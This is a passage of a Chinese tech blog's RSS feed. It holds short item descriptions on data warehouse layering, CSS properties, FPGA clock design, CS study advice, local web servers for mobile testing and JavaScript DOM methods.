用于捕获和存储数据&#xA;特性数据仓库事务数据库适合的工作负载 分析、报告、大数据事务处理数据源从多个来源收集和标准化的数据从单个来源（例如事务系统）捕获的数据数据捕获批量写入操作通过按照预定的批处理计划执行针对连续写入操作进行了优化，因为新数据能够最大程度地提高事务吞吐量数据标准化非标准化schema，例如星型Schema或雪花型schema高度标准化的静态schema数据存储使用列式存储进行了优化，可实现轻松访问和高速查询性能针对在单行型物理块中执行高吞吐量写入操作进行了优化数据访问为最小化I/O并最大化数据吞吐量进行了优化大量小型读取操作 2.数据分层 数据分层，每个企业根据自己的业务需求可以分成不同的层次，但是最基础的分层思想，理论上数据分为三个层：数据运营层、数据仓库层、数据服务层。基于这个基础分层之上，再提交信息的层次，来满足不同的业务需求。&#xA;2.1数据运营层（ODS） ODS：Operation Data Store 数据准备区，也称为贴源层。数据仓库源头系统的数据表通常会原封不动的存储一份，这称为ODS层，是后续数据仓库加工数据的来源。&#xA;ODS层数据的来源方式：&#xA;业务库&#xA;经常会使用sqoop来抽取，例如每天定时抽取一次。&#xA;实时方面，可以考虑用canal监听mysql的binlog，实时接入即可。&#xA;埋点日志&#xA;日志一般以文件的形式保存，可以选择用flume定时同步&#xA;可以用spark streaming或者Flink来实时接入&#xA;kafka也OK&#xA;消息队列：即来自ActiveMQ、Kafka的数据等。&#xA;2.2数据仓库层（DW） DW数据分层，由下到上为DWD，DWB，DWS。&#xA;DWD：data warehouse details 细节数据层，是业务层与数据仓库的隔离层。主要对ODS数据层做一些数据清洗和规范化的操作。&#xA;数据清洗：去除空值、脏数据、超过极限范围的&#xA;DWB：data warehouse base 数据基础层，存储的是客观数据，一般用作中间层，可以认为是大量指标的数据层。&#xA;DWS：data warehouse service 数据服务层，基于DWB上的基础数据，整合汇总成分析某一个主题域的服务数据层，一般是宽表。用于提供后续的业务查询，OLAP分析，数据分发等。&#xA;用户行为，轻度聚合&#xA;主要对ODS/DWD层数据做一些轻度的汇总。&#xA;2.3数据服务层/应用层（ADS） ADS：applicationData Service应用数据服务，该层主要是提供数据产品和数据分析使用的数据，一般会存储在ES、mysql等系统中供线上系统使用。</description>
    </item>
    <item>
      <title>互联网行业中适合女孩子做的岗位汇总</title>
      <link>https://bchobby.github.io/posts/2be8ffebf842f6f6e59fa868701e2908/</link>
      <pubDate>Fri, 11 Jun 2021 16:55:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2be8ffebf842f6f6e59fa868701e2908/</guid>
      <description>在互联网高速发展的时代，有哪些岗位是适合女孩子从事的呢?今天，咱们就针对这一问题来进行下分析–从业数、薪资和发展前景，欢迎围观，千万别杠，杠就是你对!&#xA;一、UI设计类&#xA;首先，先和大家介绍一下，什么是UI设计?&#xA;UI设计(User Interface Design)，即界面设计，是指对软件的人机交互、操作逻辑、界面美观的整体设计。它可以分为实体UI和虚拟UI两类，互联网中所提及的UI设计即是虚拟UI。&#xA;好的UI设计不仅可以让软件变得更有个性、有品位，还可以让软件的操作变得更为舒适和简单。&#xA;很多女孩子想进入互联网行业，但又不想当码农，敲代码，那么，UI设计就是女孩子们最适合的选择!&#xA;二、WEB开发&#xA;WEB前端开发是所有互联网企业研发团队中必要环节，而女孩子在审美方面相对来说比男生好很多，页面设计的漂亮，注释也调理清晰。&#xA;而且前端开发入门也相对容易一些，逻辑层面也比后端语言略简单一些。在工作中相对出错率也会少一些，没有那么大的压力。&#xA;三、软件开发&#xA;在软件开发语言中，Java经久不衰，且核心框架都是Java开发的，业务层的开发，Java能占到90%以上。而且现在，互联网越来越发达，人们对各种功能的需求也与日俱增。所以，对软件开发人员的要求也越来越多，正如此，市场潜力巨大，属当下的朝阳行业。&#xA;综上，想要从事互联网行业的女孩子们，只要你愿意扎根互联网行业，愿意努力学习，一定是可以的!我们一起，让努力感动生命!</description>
    </item>
    <item>
      <title>实训最后一天啦，总结（补上细碎的遗漏了的小知识）</title>
      <link>https://bchobby.github.io/posts/cef121e6cba586f13c5a17070e188cb4/</link>
      <pubDate>Fri, 11 Jun 2021 14:00:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cef121e6cba586f13c5a17070e188cb4/</guid>
      <description>今天是实训的最后一天啦，其实没什么好分享的，先分享一下实训期间的感想心得吧。&#xA;其实这个实训说长也长，说短也短，10天的时间，让我觉得自己不是在上课，而是在上班。就像普通的上班族一样，每天除了划划水，当一条咸鱼，就是期待着下班时间到（bushi）。&#xA;其实这次实训还是让我学到了很多知识的，除了每天有限的时间划个小小的浪花，其他很大很大一部分时间都是很充实的在做项目。这次的课程是专门讲HTML的，从静态网页到CSS再到JavaScript，把我在正式上课时没有听的课全都补了回来。所以这次实训对我来说，收获还是挺大的。&#xA;接下来我想分享一下一些细碎的、被我遗漏了的小知识。&#xA;CSS中的透明的属性 opacity: 1; 取值范围是0~1，0为全透明，1为不透明。&#xA;A align-content规定弹性容器内的行之间的对齐方式，当项目不使用所有可用空间时。align-items规定弹性容器内项目的对齐方式。align-self规定弹性容器内所选项目的对齐方式。all重置所有属性（除了 unicode-bidi 和 direction）。animation所有 animation-* 属性的简写属性。animation-delay规定开始动画的延迟。animation-direction规定动画是向前播放、向后播放还是交替播放。animation-duration规定动画完成一个周期应花费的时间。animation-fill-mode规定元素在不播放动画时（在开始之前、结束之后、或同时）的样式。animation-iteration-count规定动画的播放次数。animation-name规定 @keyframes 动画的名称。animation-play-state规定动画是播放还是暂停。animation-timing-function规定动画的速度曲线。 B backface-visibility定义当面对用户时元素的背面是否应可见。background所有 background-* 属性的简写属性。background-attachment设置背景图像是与页面的其余部分一起滚动还是固定的。background-blend-mode规定每个背景图层（颜色/图像）的混合模式。background-clip定义背景（颜色或图像）应在元素内延伸的距离。background-color规定元素的背景色。background-image规定元素的一幅或多幅背景图像。background-origin规定背景图像的初始位置。background-position规定背景图像的位置。background-repeat设置是否以及如何重复背景图像。background-size规定背景图像的尺寸。borderborder-width、border-style 以及 border-color 的简写属性。border-bottomborder-bottom-width、border-bottom-style 以及 border-bottom-color 的简写属性。border-bottom-color设置下边框的颜色。border-bottom-left-radius定义左下角的边框圆角。border-bottom-right-radius定义右下角的边框圆角。border-bottom-style设置下边框的样式。border-bottom-width设置下边框的宽度。border-collapse设置表格边框是折叠为单一边框还是分开的。border-color设置四条边框的颜色。border-imageborder-image-* 属性的简写属性。border-image-outset规定边框图像区域超出边框的量。border-image-repeat规定边框图像应重复、圆角、还是拉伸。border-image-slice规定如何裁切边框图像。border-image-source规定用作边框的图像的路径。border-image-width规定边框图像的宽度。border-left所有 border-left-* 属性的简写属性。border-left-color设置左边框的颜色。border-left-style设置左边框的样式。border-left-width设置左边框的宽度。border-radius四个 border-*-radius 属性的简写属性。border-right所有 border-right-* 属性的简写属性。border-right-color设置右边框的颜色。border-right-style设置右边框的样式。border-right-width设置右边框的宽度。border-spacing设置相邻单元格边框之间的距离。border-style设置四条边框的样式。border-topborder-top-width、border-top-style 以及 border-top-color 的简写属性。border-top-color设置上边框的颜色。border-top-left-radius定义左上角的边框圆角。border-top-right-radius定义右上角的边框圆角。border-top-style设置上边框的样式。border-top-width设置上边框的宽度。border-width设置四条边框的宽度。bottom设置元素相对于其父元素底部的位置。box-decoration-break设置元素在分页符处的背景和边框的行为，或对于行内元素在换行符处的行为。box-shadow将一个或多个阴影附加到元素。box-sizing定义元素的宽度和高度的计算方式：它们是否应包含内边距和边框。break-after规定指定元素之后是否应出现 page-、column- 或 region-break。break-before规定指定元素之前是否应出现 page-、column- 或 region-break。break-inside规定指定元素内部是否应出现 page-、column- 或 region-break。 C caption-side规定表格标题的放置方式。caret-color规定光标在 input、textarea 或任何可编辑元素中的颜色。@charset规定样式表中使用的字符编码。clear规定不允许在元素的哪一侧浮动元素clip剪裁绝对定位的元素。clip-path将元素裁剪为基本形状或 SVG 源。color设置文本的颜色。column-count规定元素应分为的列数。column-fill指定如何填充列（是否 balanced）。column-gap规定列间隙。column-rule所有 column-rule-* 属性的简写属性。column-rule-color规定列之间规则的颜色。column-rule-style规定列之间的规则样式。column-rule-width规定列之间的规则宽度。column-span规定元素应该跨越多少列。column-width规定列宽度。columnscolumn-width 和 column-count 的简写属性。content与 :before 和 :after 伪元素一起使用，来插入生成的内容。counter-increment增加或减少一个或多个 CSS 计数器的值。counter-reset创建或重置一个或多个 CSS 计数器。cursor规定当指向元素时要显示的鼠标光标。 D direction规定文本方向/书写方向。display规定如何显示某个 HTML 元素。 E empty-cells规定是否在表格中的空白单元格上显示边框和背景。 F filter定义元素显示之前的效果（例如，模糊或颜色偏移）。flexflex-grow、flex-shrink 以及 flex-basis 的简写属性。flex-basis规定弹性项目的初始长度。flex-direction规定弹性项目的方向。flex-flowflex-direction 和 flex-wrap 的简写属性。flex-grow规定项目相对于其余项目的增量。flex-shrink规定项目相对于其余项目的减量。flex-wrap规定弹性项目是否应该换行。float规定是否应该对盒（box）进行浮动。fontfont-style、font-variant、font-weight、font-size/line-height 以及 font-family 的简写属性。@font-face允许网站下载和使用 &#34;</description>
    </item>
    <item>
      <title>【网络共享解决】Internet连接共享访问被启用时，出现了一个错误 无法启用Internet连接共享。为LAN连接配置的IP地址需要使用自动IP寻址。</title>
      <link>https://bchobby.github.io/posts/6ad85d9668159ead2798e9fe203381cf/</link>
      <pubDate>Fri, 11 Jun 2021 09:57:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6ad85d9668159ead2798e9fe203381cf/</guid>
      <description>【网络共享解决】Internet连接共享访问被启用时，出现了一个错误 无法启用Internet连接共享。为LAN连接配置的IP地址需要使用自动IP寻址。 报错截图 解决办法 原因：共享的网络IP地址192.168.137.1被其他网络连接占用。&#xA;解决办法：将其他网络IP地址修改一下IP地址即可。</description>
    </item>
    <item>
      <title>FPGA时钟设计方案</title>
      <link>https://bchobby.github.io/posts/47fadecd152f8fd268a9e05742842f47/</link>
      <pubDate>Fri, 11 Jun 2021 08:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/47fadecd152f8fd268a9e05742842f47/</guid>
      <description>时钟设计方案&#xA;在复杂的FPGA设计中，设计时钟方案是一项具有挑战性的任务。设计者需要很好地掌握目标器件所能提供的时钟资源及它们的限制，需要了解不同设计技术之间的权衡，并且需要很好地掌握一系列设计实践知识。不正确的设计或次优的时钟方案可能会导致在最好情况下较差的设计性能，或者在最坏情况下的随机和难以查找的错误。&#xA;FPGA时钟资源指目标FPGA中大量与时钟有关的不同资源，如时钟类型（局部的和全局的）、频率限制和不同时钟管理器的抖动特性，以及能用于单个时钟域的时钟最大数量。&#xA;本文介绍了时钟设计方案中的每个部分，并推荐了一些设计方法。&#xA;使用专用的时钟资源&#xA;内部产生的时钟是组合逻辑或寄存器的输出，如图1所示。&#xA;组合逻辑产生的时钟可能有毛刺，会被错误地当成有效时钟边沿，在设计中会导致功能错误。因此，不要使用组合逻辑的输出作为时钟。&#xA;内部产生的时钟使用通用布线资源。因此，与专用时钟布线相比延迟较长。其后果是时钟偏移增加，满足时序的过程更加困难。如果大量的逻辑使用了该内部时钟，这个问题尤为突出。公众号：OpenFPGA&#xA;作为一般规则，尽量避免使用内部产生的时钟，尽可能使用专用时钟资源。&#xA;使用时钟的单边沿&#xA;除了一些特殊电路[如双倍数据速率（DDR)的数据捕获]之外，寄存数据通常总是使用时钟的上升沿或下降沿。使用两个边沿带来的问题是由于时钟占空比可能并不总是50%，这会对电路的正常工作产生影响。&#xA;使用差分时钟&#xA;建议在频率高的情况下使用差分时钟。通常认为频率高于100MHz以上属于高频。差分时钟相比单端时钟的主要优势是共模噪声抑制，因此抗噪声性能更好。具有PECL、LVPECL和LVDS信号电平的差分时钟是高速逻辑下时钟的首选。&#xA;Xilinx FPGA提供了一些用于差分时钟的专用原语：IBUFDS、IBUFGDS、IBUFGDS_DIFF、OBUFDS、0BUFTDS等（见图2)。&#xA;使用门控时钟&#xA;时钟门控是设计中通过使用控制信号，禁止或允许时钟输入到寄存器和其他同步元件上的一种方法。它能有效降低功耗，因此被广泛应用于ASIC设计中。然而，在FPGA设计中应尽量避免使用门控时钟。&#xA;使用时钟信号作为控制、复位或数据输入&#xA;不建议将时钟信号作为通用逻辑的控制、复位或数据输入。下面是这类电路的例子。&#xA;module clock_schemes(input clk1,clk2,clk3,clk4,clk5,input data_in, output reg data_out1,data_out2,data_out3,data_out4,data_out5,data_out6); wire data_from_clock, reset_from_clock, control_from_clock; / / 时钟被用做数据输入 assign data_from_clock = clk1; always @(posedge clkl) data out1 &amp;lt;= ~data out1; always @(posedge clk2) data out2 &amp;lt;= ~data out2 &amp;amp; data_from_clock; / / 时钟被用做复位输入 assign reset_from_clock = clk3; always @(posedge clk3) data out3 &amp;lt;= ~data out2; always @(posedge clk4, posedge reset_from_clock) if (reset_from_clock) data_out4 &amp;lt;= 0; else data out4 &amp;lt;= data in; / / 时钟被用做控制 assign control_from_clock = clk5; always @(posedge clk5) data out5 &amp;lt;= ~data out5; always @(*) data_out6 = control_from_clock ?</description>
    </item>
    <item>
      <title>作为计算机专业学生，最应该学习的课程前五位是什么？</title>
      <link>https://bchobby.github.io/posts/dc25677ac2edb94bf2af216a8d3a6581/</link>
      <pubDate>Thu, 10 Jun 2021 16:03:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dc25677ac2edb94bf2af216a8d3a6581/</guid>
      <description>不知不觉自己的程序员生涯已经有 6 年。&#xA;变秃了，也变强了。&#xA;如果让我回到大学生涯，我一定会认认真真的学习下面的课程，起码我的头发可以少掉一半！&#xA;1、计算机组成原理&#xA;2、计算机操作系统&#xA;3、计算机编译原理&#xA;4、数据结构与算法&#xA;5、计算机网络&#xA;一、计算机组成原理 计算机组成原理这门课很好地向我们阐述了计算机是如何工作的，妹子咨询你电脑问题的时候，答案就藏在这门课程里面（大雾）。&#xA;推荐书籍：《深入理解计算机系统》&#xA;这本书是从程序员的角度来看待整个计算机系统的，所以是非常适合程序员的。但是这本书不仅仅包含了计算机硬件的相关知识，同时还包含了包括操作系统、计算机网络等相关知识。&#xA;二、计算机操作系统 无论你学习什么编程语言，和都避免不了和操作系统打交道，比如你学习 Java，用到多线程技术，实际上操作系统才是负责管理进程和线程的；比如你学习到内存分配的知识，c++里可以直接分配一段内存，此时实际上是调用操作系统提供的API进行内存分配。&#xA;如果不懂操作系统，你在未来学习编程语言的高级特效，涉及到线程进程调度，内存分配，或者是学习Linux相关的知识时，都会一头雾水，所以，只有学会了操作系统，我么才能够更好地学习其他语言和技术。&#xA;基于此，计算机操作系统的知识点频繁出现在笔试环节。&#xA;毕业的程序员或者非科班的程序员可以看看下面的两篇文章，就当再复习学习一遍。&#xA;三、计算机编译原理 首先正式一个问题：编译原理并非随随便便就能入门的！&#xA;换言之，需要准备一些基础知识在学习。&#xA;编译原理的学习和实践通常基于对计算机编译过程、计算机基本工作原理、甚至一定的数学知识有一定积累，这些知识分别分布并应用在了编译原理的不同阶段。没有这些基本知识的积累，很快就会在某个阶段由于功底不够而无法再继续后面的学习。&#xA;所以，先认认真真的积累上述的一和二在入门学习吧。&#xA;四、数据结构与算法 相信无论是已经毕业的同学还是正在学校学习的同学，都或多或少地被数据结构与算法这门课给折磨过。数据结构与算法这门课开篇就讲了一个非常重要的概念：程序 = 数据结构 + 算法，对于初学者可能还不能完全地理解这句话，不过对于已经工作两三年的同学相信对这句话是深信不疑的。&#xA;对于数据结构与算法的学习，我个人认为应该分层三个步骤：首先先大致了解什么是算法，可以通过一些科普读物来入门，这个过程我称之为入门阶段；接着可以尝试实现一些比较容易的数据结构和算法，这样可以更加深对数据结构和算法的了解，这个过程我称之为实践阶段；最后去了解数据结构与算法背后的相关数学原理等，这个过程我称之为原理阶段。&#xA;五、计算机网络 计算机网络的相关知识在工作时使用的频率还是挺多的，毕竟，所谓的CURD工程师总是在处理 API 相关的业务。&#xA;关于计算机基础的内容，我整理了 4 本手册，全网累积下载100w次，几乎程序员人手一套，包含数据结构与算法、操作系统、计算机组成原理、计算机网络等硬核基础知识，图文+实战案例，平时开发+搞定面试，帮你快速建立对计算机科学的大局观，夯实计算机基本功，瞬间起飞～&#xA;下载地址：图解操作系统、网络、计算机组成 PDF 下载！&#xA;作者简介 作者：大家好，我是程序员吴师兄，在 GitHub 上开源了一个项目 LeetCodeAnimation，目前有 60k star，通过动画的形式讲解算法，已经帮助成千上万的程序员入门算法了，欢迎关注公众号「五分钟学算法」，和我们一起学习算法。&#xA;转载说明：未获得授权，禁止转载</description>
    </item>
    <item>
      <title>管理员界面html,12套超酷的后台管理员界面网站模板</title>
      <link>https://bchobby.github.io/posts/edf57caf1f871a3cc79e30628d760023/</link>
      <pubDate>Thu, 10 Jun 2021 15:11:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/edf57caf1f871a3cc79e30628d760023/</guid>
      <description>这些超棒的网站模板可以直接应用到其它开源CMS (例如，wordpress，magento等等)，同时您可以很方便的自定义。&#xA;虽然管理员界面使用的数量相对用户界面并不多，但是专业的管理员界面网站模板要求更好的使用性和用户体验，并不是简单的设计。今天这套分享的模板相信能够带给大家超棒的体验！&#xA;这套网站模板使用Twitter Bootstrap开发。拥有9个不同的皮肤主题并且包含了常用的输入组件，例如，表单，图表，按钮，表格，文件管理，图片画廊等等。&#xA;如果你希望fork，那么这有一个GitHub链接供你使用。&#xA;一个基于jQuery的管理界面网站模板，使用header的顶端导航，拥有表格，表单，消息等等组件，并且拥有一个超棒的登录页面&#xA;一个基于TwitterBootstrap的响应式管理员界面网站模板，拥有导航，表格，表单，注册/登录，错误页面等等&#xA;一个单页面的管理员网站模板，使用头部和边栏方式导航，拥有错误/信息/警告提示。可以作为开发新模板的基础。&#xA;一个非常漂亮的管理员界面网站模板，包含了基本的表格，表单，导航，列表，消息，注册页面等&#xA;一个单页面的管理员网站模板，拥有图表，表格，信息，表单和字体排版设计&#xA;一个非常简单简洁的网站模板，拥有非常漂亮的导航和边栏 ，特色是datagrid和表单实例&#xA;基于960 grid 框架，使用jQuery和jQuery UI开发。拥有dashboard，表格，表单，字体排版，图表，图片画廊和提示的演示页面&#xA;为一个项目设计的一个免费的管理员网站模板。简单，单页面导航，使用表格展示数据。同时，拥有一个HTML5/CSS3的版本。&#xA;使用HTML5标签，包含了各种元素。&#xA;简单的管理员网站模板，拥有导航，网格，表格，按钮，弹出提示层和表单&#xA;提供了多列的dashboard。拥有一个数据grid和一个范例表单</description>
    </item>
    <item>
      <title>html标签怎么制作足迹地图,用百度地图API做个人足迹地图教程</title>
      <link>https://bchobby.github.io/posts/10a28fc4b5115bc655a8af4c76b898dc/</link>
      <pubDate>Thu, 10 Jun 2021 14:21:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/10a28fc4b5115bc655a8af4c76b898dc/</guid>
      <description>上次折腾了个人百度足迹地图，积累了点经验，现分享给大家，如有兴趣都可以学着做一个。二话不说，先放出代码，点击下载。&#xA;压缩包含三个文件以及一个文件夹，其中“x1.php”是主题模板，模板是放在主题文件夹下供新建页面选用，里边对应地址路径请自行修改，后面我会解释。另外两个是html页面文件，其中“x3.html”这个是地图核心页面，附带大量的JavaScript，凭借这些实现功能丰富、交互性强的地图应用，支持PC端和移动端基于浏览器的地图应用开发，且支持HTML5特性的地图开发。而“x2.html”是作为强制刷新跳转页面，用途后面会讲到。&#xA;“x3.html”页面可以直接本地打开进行调试，首先您需先申请密钥(ak)，然后将这串密码放在第6行代码对应位置方可使用。其他需要修改的地方旁边的注释都有说明。最核心的区域就是添加数组，“var infos =”这行后边的内容，每一项用英文逗号“,”隔开了，依次顺序是：文章标题、坐标、地址、文章链接、图片链接。&#xA;模板只会在地图上生成两个标点，照着复制粘贴可以得出N多个标点。每个数组区域的格式是严格规定好的，其中坐标是必填项(没有坐标则无法生成标点)，其他如果嫌麻烦的话，可以留空。留空就是不写，但不能删除，否则数组顺序会错乱，导致地图标点无法生成。&#xA;关于坐标，由于我们使用的是百度地图API，因此可以使用百度地图的坐标拾取服务，在对应地图上拾取坐标，点击这里直达百度地图坐标拾取系统。&#xA;对于有GPS信息的照片(很多手机拍出的照片都会带有位置信息)可以通过附带的“照片GPS信息导出”批量将对应照片的GPS信息导入表格，然后通过“GPS度分秒转换.xlsx”这个表格，批量转换成百度地图坐标格式。在这我要提醒一点，导出来出来的设备硬件GPS坐标信息直接放在百度地图上使用的话会有几百米至一公里不等的偏移，这种偏移的原因不明(你懂的)，因此这些原始坐标，需要通过百度地图的坐标转换服务，进行转换，转换之后的坐标才可以用在百度地图上。&#xA;至此，有了主题模板，也有了地图核心页面，再加上坐标获取的方式，基本就差不多了。如果不用“x2.html”这个文件，咱也能做出个人足迹地图，可是有缓存的情况下，修改编辑“x3.html”这个页面后，客户端可能无法刷出最新结果。我的解决办法是通过“x2.html”这个辅助在地址栏生成随机数来请求最新页面，这样无论何时修改，访客都能刷出最新的标记结果。所以，整个重定向链路是“x1.php”请求“x2.html”再请求“x3.html”。&#xA;讲解就到此，照着做相信都不难了，繁琐之处在于手工添加地图标点，鄙人的代码本领还没法做到通过数据库以及表单窗口等进行简化，若哪位是代码大神，能将这接口啥的做成插件，将标点数据存入单独一张数据库表中，那大伙就可以跪拜了，嘿嘿！</description>
    </item>
    <item>
      <title>Python IndentationError: expected an indented block</title>
      <link>https://bchobby.github.io/posts/88abb6c214ab7a33282869e80535f20f/</link>
      <pubDate>Thu, 10 Jun 2021 01:33:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/88abb6c214ab7a33282869e80535f20f/</guid>
      <description>Python 缩进错误 Python IndentationError: expected an indented block 这是编写一个比大小方法时遇到的低级错误&#xA;这个错误的原因是if语句块缩进问题&#xA;原代码&#xA;def MAX(a,b): if(a &amp;gt; b): return a else: return b; 错误提示&#xA;IndentationError: expected an indented block # 缩进错误 : 应该为缩进块 这个很多相同错误都是一样的比如方法块的缩进错误、类的缩进错误等等，都是只需要按照Python语法标准缩进即可，还有就是不需要缩进的地方错误缩进。&#xA;按TAB缩进，比如在冒号之后的语法都是需要缩进的在Python3语法中。&#xA;def MAX(a,b): if(a &amp;gt; b): return a else: return b # return a if a &amp;gt; b else b 示例代码&#xA;PyCharm。&#xA;def MAX(a,b): if(a &amp;gt; b): return a else: return b # return a if a &amp;gt; b else b if __name__ == &#34;</description>
    </item>
    <item>
      <title>手机加载电脑html,手机访问电脑本地html文件</title>
      <link>https://bchobby.github.io/posts/da34ae09002ac8f3d5d350b8756ae22e/</link>
      <pubDate>Thu, 10 Jun 2021 00:14:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da34ae09002ac8f3d5d350b8756ae22e/</guid>
      <description>如果用webstrom打开一个单独的页面，在浏览器中现实的地址是：&#xA;http://localhost:63342/meipro-work/pages/active/findreset.html?_ijt=jhp5kumvugie2h6r0ublp089kf&#xA;如果这恰好是你正在开发的用于移动端的页面，想要在手机上访问以便于测试验证效果，怎么访问到呢？&#xA;在webstorm的setting中是有相关可设置的，只是我试了不好用&#xA;下面有几种办法：&#xA;如果你已经安装了全局的node.js，可以使用前两种方法。&#xA;1、http-server&#xA;手机地址输入电脑的ip加端口号8080即可访问本地编写的html页面(确保手机跟电脑在同一个局域网下)&#xA;npm install -g http-server&#xA;在站点目录下开启命令行输入http-server，运行结果如下：&#xA;Paste_Image.png&#xA;在浏览器中输入http://10.69.57.60:8080会访问meipro-work根目录下的页面，如果是子文件夹下的，修改相应路径就行了&#xA;2、browser-sync 文档说明&#xA;npm install -g browser-sync&#xA;安装成功后我们就可以在想要测试的文件目录下，在DOS窗口或者git bash输入：&#xA;browser-sync start --server --files &#34;css/.css, .html&#34;，即可开启服务&#xA;Paste_Image.png&#xA;3、nginx&#xA;conf文件夹中名为nginx的配置文件，需要修改的地方有如下:&#xA;server {&#xA;listen 80;&#xA;server_name localhost;&#xA;location ~ ^([/\w-]+\.[/\w-]*)+$ {&#xA;root E:/mei/rootfile;&#xA;index index.html;&#xA;}&#xA;}&#xA;需要注意的是1,2是在根文件夹中运行命令，3是root的值就是本文件夹的路径&#xA;4、如果想访问vue项目在npm run build之后生成的文件&#xA;可以使用如下server.js放到vue项目的根目录下&#xA;var express = require(&#39;express&#39;);&#xA;var app = express();&#xA;app.use(&#39;/static&#39;,express.static(__dirname + &#39;/start/static&#39;));&#xA;app.get(&#39;/&#39;, function(req, res){&#xA;res.sendFile(__dirname+&#39;/start/index.html&#39;);&#xA;});</description>
    </item>
    <item>
      <title>js获取页面元素,标签的值</title>
      <link>https://bchobby.github.io/posts/0315ffbaa441387bc9f895eb72012d05/</link>
      <pubDate>Wed, 09 Jun 2021 21:33:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0315ffbaa441387bc9f895eb72012d05/</guid>
      <description>用JavaScript获取页面元素常见的三种方法：&#xA;第一种:var x = document.getElementById() //根据ID获取&#xA;语法为“document.+方法名”获得其页面元素，可后加属性为其操作。&#xA;如document.getElementById(&#34;id名&#34;)是根据页面id获取元素，在一个页面中元素id必须是惟一 一个，否则用这种方法将取不到其元素。&#xA;id就相当于我们个人的身份证号一样，在一个世界上，每个人都是唯一的身份证号。如果页面中没有此id，会找不到你要找的元素，就会报null的错误。&#xA;例如:var x=document.getElementById(&#34;id&#34;).value;&#xA;第二种:var x = document.getElementsByName() //根据元素名 name 获取&#xA;用getElementsByName()用这种方法是跟据页面的元素名来获取页面元素，在一个页面中，元素id是唯一的，但是页面的元素名字name可以是重复的，name就比如我们人名一样，在这个世界中，会有重名的存在。&#xA;假设一个两个名叫汤姆的人在一起，其他人过来找汤姆，就会直接找到两个，在页面中也是一样，中这种方法，我们会得到一个数组。&#xA;如果我们找到某个具体的页面元素，可以在此方法后面添加一个下标&#34;[整数]&#34;，下标是从0开始的，此整数也就是在页面中你要获取的此元素的位置减一。&#xA;例如：var x = document.getElementsByName(&#34;ABCD&#34;).value; //此时的x就是页面中所有name=&#34;ABCD&#34;所形成的一个数组&#xA;var x = document.getElementsByName(&#34;ABCD&#34;)[0].value; //此时的x就是页面中第一个name=&#39;&#39;ABCD&#34;的值&#xA;第三种:var x = document.getElementsByTagName() // 根据标签获取&#xA;用 getElementsByTagName()这种方法是根据HTML的标签来获取的。因为页面元素使用的标签可以重复，所以用这种方法的的值也是一个数组。&#xA;如果我们用这种方法想获取某个具体的元素的值，可以直接用下标的形式表示，下标的开始也是从0开始的，当然也可以先的到数组，在从数组中获取。&#xA;例如：var x = document.getElementsByTagName(&#34;p&#34;)[2].value; //此时的x是页面中第三个段落标签的值&#xA;var x = document.getElementsByTagName(&#34;p&#34;).value; //此时的x是一个数组，是有页面中所有&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;所组成的一个数组</description>
    </item>
    <item>
      <title>轻量级的MVVM-MVVM Light</title>
      <link>https://bchobby.github.io/posts/6ed8236cd9c2eb728bab90b8dbc7c956/</link>
      <pubDate>Wed, 09 Jun 2021 18:44:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6ed8236cd9c2eb728bab90b8dbc7c956/</guid>
      <description>使用 NuGet 查找和安装 MVVM Light 要在 NuGet 中查找 MVVM Light，请按照下列步骤操作：&#xA;在 Visual Studio 中打开您的项目。右键单击 &#34;引用&#34;，然后从上下文菜单中选择“管理Nuget程序包”。 在“Manage Nuget Packages”对话框中，选择右侧的“Online”。在搜索字段中，输入“mvvmlight”。选择 MVVM Light 包并按下 Install 按钮（顶部选项；其他选项将在下面进一步解释）。 完成这些步骤后，您的项目已进行以下更改：&#xA;添加了“packages”文件夹，其中包含以下库。请注意，此文件夹已添加到项目结构的根目录中，并且不会出现在解决方案资源管理器中。 &amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&amp;gt; &amp;lt;packages&amp;gt; &amp;lt;package id=&#34;CommonServiceLocator&#34; version=&#34;2.0.2&#34; targetFramework=&#34;net472&#34; /&amp;gt; &amp;lt;package id=&#34;MvvmLight&#34; version=&#34;5.4.1.1&#34; targetFramework=&#34;net472&#34; /&amp;gt; &amp;lt;package id=&#34;MvvmLightLibs&#34; version=&#34;5.4.1.1&#34; targetFramework=&#34;net472&#34; /&amp;gt; &amp;lt;/packages&amp;gt; 添加了一个带有两个附加类的 ViewModel 文件夹： ViewModelLocator.csMainViewModel.cs App.xaml 文件已通过添加 ViewModelLocator 作为全局资源进行了修改。 &amp;lt;Application x:Class=&#34;MVVMDemo.App&#34; xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34; xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34; xmlns:d=&#34;http://schemas.microsoft.com/expression/blend/2008&#34; xmlns:d1p1=&#34;http://schemas.openxmlformats.org/markup-compatibility/2006&#34; xmlns:local=&#34;clr-namespace:MVVMDemo&#34; d1p1:Ignorable=&#34;d&#34; StartupUri=&#34;MainWindow.xaml&#34;&amp;gt; &amp;lt;Application.Resources&amp;gt; &amp;lt;ResourceDictionary&amp;gt; &amp;lt;vm:ViewModelLocator x:Key=&#34;Locator&#34; d:IsDataSource=&#34;True&#34; xmlns:vm=&#34;clr-namespace:MVVMDemo.ViewModel&#34; /&amp;gt; &amp;lt;/ResourceDictionary&amp;gt; &amp;lt;/Application.</description>
    </item>
    <item>
      <title>k8s创建alpine容器时出现Back-off restarting failed container问题</title>
      <link>https://bchobby.github.io/posts/cd0af824e1092180b7d4b924f976a458/</link>
      <pubDate>Wed, 09 Jun 2021 15:06:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cd0af824e1092180b7d4b924f976a458/</guid>
